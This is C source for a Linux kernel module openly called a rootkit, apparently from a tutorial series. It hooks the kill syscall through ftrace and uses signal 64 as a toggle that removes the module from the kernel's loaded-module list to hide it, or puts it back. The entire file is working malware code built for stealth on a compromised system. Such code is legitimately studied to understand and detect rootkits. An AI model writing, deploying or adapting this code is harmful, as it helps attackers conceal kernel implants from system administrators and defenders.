#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <linux/kallsyms.h>
#include <linux/version.h>
#include "ftrace_helper.h"
MODULE_LICENSE("GPL");
MODULE_AUTHOR("TheXcellerator");
MODULE_DESCRIPTION("Syscall hijacking to send custom signals");
MODULE_VERSION("0.02");
/* After Kernel 4.17.0, the way that syscalls are handled changed
* to use the pt_regs struct instead of the more familiar function
* prototype declaration. We have to check for this, and set a
* variable for later on */
#if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0))
#define PTREGS_SYSCALL_STUBS 1
#endif
/* We need these for hiding/revealing the kernel module */
static struct list_head *prev_module;
static short hidden = 0;
/* We now have to check for the PTREGS_SYSCALL_STUBS flag and
* declare the orig_kill and hook_kill functions differently
* depending on the kernel version. This is the largest barrier to
* getting the rootkit to work on earlier kernel versions. The
* more modern way is to use the pt_regs struct. */
#ifdef PTREGS_SYSCALL_STUBS
static asmlinkage long (*orig_kill)(const struct pt_regs *);
/* After grabbing the sig out of the pt_regs struct, just check
* for signal 64 (unused normally) and, using "hidden" as a toggle
* we either call hideme(), showme() or the real sys_kill()
* syscall with the arguments passed via pt_regs. */
asmlinkage int hook_kill(const struct pt_regs *regs)
{
void showme(void);
void hideme(void);
// pid_t pid = regs->di;
int sig = regs->si;
if ( (sig == 64) && (hidden == 0) )
{
printk(KERN_INFO "rootkit: hiding rootkit kernel module...\n");
hideme();
hidden = 1;
}
else if ( (sig == 64) && (hidden == 1) )
{
printk(KERN_INFO "rootkit: revealing rootkit kernel module...\n");
showme();
hidden = 0;
}
else
{
return orig_kill(regs);
}
return -999;
}
#else
/* This is the old way of declaring a syscall hook */
static asmlinkage long (*orig_kill)(pid_t pid, int sig);
static asmlinkage int hook_kill(pid_t pid, int sig)
{
void showme(void);
void hideme(void);
if ( (sig == 64) && (hidden == 0) )
{
printk(KERN_INFO "rootkit: hiding rootkit kernel module...\n");
hideme();
hidden = 1;
}
else if ( (sig == 64) && (hidden == 1) )
{
printk(KERN_INFO "rootkit: revealing rootkit kernel module...\n");
showme();
hidden = 0;
}
else
{
return orig_kill(pid, sig);
}
}
#endif
/* Add this LKM back to the loaded module list, at the point
* specified by prev_module */
void showme(void)
{
list_add(&THIS_MODULE->list, prev_module);
}
/* Record where we are in the loaded module list by storing
* the module prior to us in prev_module, then remove ourselves
* from the list */
void hideme(void)
{
prev_module = THIS_MODULE->list.prev;
list_del(&THIS_MODULE->list);
}
/* Declare the struct that ftrace needs to hook the syscall */
static struct ftrace_hook hooks[] = {
HOOK("sys_kill", hook_kill, &orig_kill),
};
/* Module initialization function */
static int __init rootkit_init(void)
{
/* Hook the syscall and print to the kernel buffer */
int err;
err = fh_install_hooks(hooks, ARRAY_SIZE(hooks));
if(err)
return err;
printk(KERN_INFO "rootkit: Loaded >:-)\n");
return 0;
}
static void __exit rootkit_exit(void)
{
/* Unhook and restore the syscall and print to the kernel buffer */
fh_remove_hooks(hooks, ARRAY_SIZE(hooks));
printk(KERN_INFO "rootkit: Unloaded :-(\n");
}
module_init(rootkit_init);
module_exit(rootkit_exit);